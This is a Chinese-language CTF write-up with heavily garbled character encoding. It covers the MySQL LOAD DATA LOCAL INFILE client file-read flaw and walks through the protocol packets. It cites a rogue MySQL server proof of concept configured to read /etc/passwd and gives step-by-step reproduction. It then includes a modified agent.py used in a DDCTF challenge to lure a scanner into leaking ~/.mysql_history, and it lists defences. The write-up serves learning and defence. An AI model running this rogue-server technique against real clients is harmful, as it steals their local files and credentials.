读取txt原理_Mysql客户端任意文件读取学习
前言
最近打了?DDCTF和?國(guó)賽,發(fā)現(xiàn)都考了一個(gè)知識(shí)點(diǎn),也就是?MysqlLocalInfile客戶端文件讀取這個(gè)漏洞,下面來(lái)詳細(xì)的學(xué)習(xí)一個(gè)這個(gè)漏洞。
漏洞形成原因
此漏洞形成的主要原因在于?LOAD DATA INFILE這個(gè)語(yǔ)法上。在官方文檔中的介紹為:
該LOAD DATA語(yǔ)句以非常高的速度將文本文件中的行讀入表中。 LOAD DATA是補(bǔ)充 SELECT ... INTO OUTFILE。請(qǐng)參見[第13.2.10.1節(jié)“SELECT ... INTO語(yǔ)法”(https://dev.mysql.com/doc/refman/8.0/en/select-into.html)]。)要將表中的數(shù)據(jù)寫入文件,請(qǐng)使用 SELECT ... INTO OUTFILE。要將文件讀回表中,請(qǐng)使用 LOAD DATA。兩個(gè)語(yǔ)句的FIELDS和LINES子句的語(yǔ)法 相同。
以下為?LOAD DATA INFILE的兩種用法:
從本地服務(wù)器導(dǎo)入數(shù)據(jù)到規(guī)定的表里
首先我在本地的?/var/lib/mysqld/1.txt中添加內(nèi)容?Youhave a girlfriend,執(zhí)行命令?load data infile"/var/lib/mysql-files/1.txt"intotable users(name),成功添加數(shù)據(jù).
從客戶端導(dǎo)入數(shù)據(jù)到服務(wù)器上規(guī)定的表中
客戶端:Ubuntu18.04 IP
服務(wù)端:Centos7
在客戶端執(zhí)行命令:?mysql-h148.70.151.111-u root-p-D test-e"load data local infile '/etc/passwd' into table user fields terminated by ','";,在服務(wù)端查看是否添加成果數(shù)據(jù)
數(shù)據(jù)成功回顯。而造成漏洞的也是第二點(diǎn)操作,通過客戶端與服務(wù)端的連接來(lái)讀取任意文件。
從數(shù)據(jù)包傳遞層面分析客戶端與服務(wù)端的文件傳輸
分析環(huán)境:Ubuntu18.04
mysql 5.7
本地Mysql輸入命令:?mysql-u root-p-h127.0.0.1
同時(shí)tcpdump抓取數(shù)據(jù)包:?tcpdump-i lo-l port3306-w los.pcap
下面是抓到的數(shù)據(jù)包:
我們來(lái)分析一下客戶端與服務(wù)端的?load datalocal過程
1.服務(wù)器向客戶端發(fā)送?Greeting包,包含服務(wù)器banner信息(協(xié)議線程ID,版本,mysql認(rèn)證類型等)
2.客戶端向服務(wù)端發(fā)送?LoginRequests數(shù)據(jù)包,包含客戶端的banner信息,以及?LoadDataLocal選項(xiàng)和用戶名以及md5加密過的密碼
3.Mysql客戶端發(fā)送請(qǐng)求,探測(cè)目標(biāo)平臺(tái)的指紋信息,以及進(jìn)行初始化查詢(大多數(shù)Mysql客戶端在握手后都至少會(huì)發(fā)送一次請(qǐng)求)這個(gè)請(qǐng)求是一個(gè)很關(guān)鍵的步驟,在下面我們還會(huì)繼續(xù)解釋的。
4.客戶端發(fā)起Request Query
5.服務(wù)端響應(yīng)對(duì)應(yīng)客戶端請(qǐng)求文件名的數(shù)據(jù)包
6.客戶端將所請(qǐng)求文件內(nèi)容發(fā)給服務(wù)端
漏洞利用
產(chǎn)生的漏洞為:在客戶端發(fā)送至少一次查詢后,服務(wù)端返回Response TABULAR數(shù)據(jù)包,告訴客戶端我們想要讀取文件的文件名(實(shí)現(xiàn)任意文件讀取),由于客戶端對(duì)于服務(wù)端的完全信任,我們就讀取到了我們想要的文件。
原理:在Mysql協(xié)議中,客戶端是不會(huì)儲(chǔ)存自身請(qǐng)求的,而是通過服務(wù)端的響應(yīng)來(lái)執(zhí)行操作。
利用:我們可以自己去構(gòu)造一個(gè)惡意的Mysql的服務(wù)器來(lái)實(shí)現(xiàn)讀取客戶端中我們想要的文件,構(gòu)造服務(wù)器最重要的的部分是:在任意時(shí)候都能回復(fù)一個(gè)file-transfer請(qǐng)求,而不是只在客戶端發(fā)送LOAD
DATA LOCAL數(shù)據(jù)包時(shí)才去響應(yīng)回復(fù)file-transfer請(qǐng)求。所以,只需要客戶端在連接服務(wù)端后發(fā)送一個(gè)查詢請(qǐng)求,服務(wù)端立刻回復(fù)一個(gè)?file-transfer,即可讀取到客戶端的本地文件,而常見的 MySQL 客戶端都會(huì)在建立連接后發(fā)送一個(gè)請(qǐng)求用來(lái)判斷服務(wù)端的指紋信息(如?select@@version_commentlimit1),這樣就達(dá)到了我們想要的要求。
所以惡意服務(wù)器與客戶端交互的流程如下:
構(gòu)造File-Transfer數(shù)據(jù)包
在官方文檔中是有構(gòu)造示范的
我們可以通過官方文檔來(lái)具體了解一下這個(gè)數(shù)據(jù)包的結(jié)構(gòu)到底是怎么樣的
通過這張圖,?0c代表著數(shù)據(jù)包的長(zhǎng)度,?000001代表著數(shù)據(jù)包的序列號(hào),從?fb開始,后面的內(nèi)容為返回到客戶端的文件名。
Poc
https://github.com/allyshka/Rogue-MySql-Server
file=('
/etc/passwd',
)
通過更改file括號(hào)中的值可以讀取我們想要讀到的文件。
漏洞復(fù)現(xiàn)
實(shí)驗(yàn)環(huán)境:
攻擊機(jī):Centos7 Mysql5.7
靶機(jī):Ubuntu18.04 Mysql5.7
1.首先先將本機(jī)的mysql服務(wù)關(guān)閉:?service mysqld stop
2.在服務(wù)器上運(yùn)行惡意服務(wù)器腳本:?python rogue_mysql_ server.py
3.靶機(jī)遠(yuǎn)程連接攻擊機(jī)數(shù)據(jù)庫(kù):?mysql-hYour_vps-u root-p-P3306;
4.成功得到靶機(jī)中?/etc/passwd的敏感數(shù)據(jù)
CTF中的應(yīng)用
這次的DDCTF以及國(guó)賽中都出現(xiàn)了Mysql客戶端任意文件讀取的這個(gè)漏洞.
下面對(duì)利用這個(gè)漏洞解答一下DDCTF
首先進(jìn)入頁(yè)面發(fā)現(xiàn)
掃描器正好符合我們的漏洞原理,在掃描的過程中用弱口令進(jìn)行?3306端口的爆破登陸,所以我們可以利用構(gòu)造惡意服務(wù)器來(lái)讀取掃描器中的文件。
先在服務(wù)器上布置?agent.py進(jìn)行掃描,發(fā)現(xiàn)回顯,未掃描出弱口令,如果不布置?agent.py,回顯,不存在?mysql服務(wù) ,修改一下?agent.py源碼,讓其以為我們一直開著?mysql。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 12/1/2019 2:58 PM
# @Author : fz
# @Site :
# @File : agent.py
# @Software: PyCharm
import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
request_path = self.path
print("\n----- Request Start ----->\n")
print("request_path :", request_path)
print("UA :", self.headers.getheaders('user-agent'))
print("self.headers :", self.headers)
print(")
self.send_response(404)
self.send_header("Set-Cookie", "foo=flag")
self.end_headers()
result = self._func()
return_str = "mysqld"
self.wfile.write(return_str)
# self.wfile.write(json.dumps(result))
def do_POST(self):
request_path = self.path
# print("\n----- Request Start ----->\n")
print("request_path : %s", request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
# print("length :", length)
print("request_headers : %s" % request_headers)
print("content : %s" % self.rfile.read(length))
# print("
self.send_response(404)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
return_str = "mysqld"
self.wfile.write(return_str)
# self.wfile.write(json.dumps(result))
def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()
ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
result.append(tmp_dic)
return result
do_PUT = do_POST
do_DELETE = do_GET
def main():
port = 8123
print('Listening on localhost:%s' % port)
server = HTTPServer(('0.0.0.0', port), RequestHandler)
server.serve_forever()
if __name__ == "__main__":
parser = OptionParser()
parser.usage = (
"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
"Run:\n\n")
(options, args) = parser.parse_args()
main()
在服務(wù)器上運(yùn)行這個(gè)腳本,再開啟我們的?mysql偽造惡意服務(wù)器,讀取一下?~/.mysql_history
得到?Flag回顯
防御手段
避免使用?local讀取本地文件
使用?--ssl-mode=VERIFY_IDENTITY來(lái)建立可信的連接。
總結(jié)
以上是生活随笔為你收集整理的读取txt原理_Mysql客户端任意文件读取学习的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python链表实现栈_python实现
- 下一篇: mysql引擎inndbmmyisam_